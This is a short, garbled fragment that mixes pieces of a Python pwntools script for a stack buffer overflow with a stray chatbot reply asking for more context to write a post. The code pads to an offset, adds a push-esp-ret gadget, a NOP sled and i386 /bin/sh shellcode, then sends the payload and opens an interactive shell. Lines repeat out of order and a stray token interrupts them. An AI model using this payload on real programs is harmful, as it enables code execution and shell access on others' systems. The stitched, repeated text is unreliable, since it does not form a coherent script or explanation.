Pattern of 0x100 bytes, crash in gdb:
shellcode = asm(shellcraft.i386.sh()) payload = b'A' * offset payload += p32(push_esp_ret) payload += b'\x90' * 16 # nop sled payload += shellcode p1flyingring
p.send(payload) p.interactive()
Please provide more context, and I'll do my best to create an engaging post for you! Pattern of 0x100 bytes, crash in gdb: shellcode
#!/usr/bin/env python3 from pwn import * Pattern of 0x100 bytes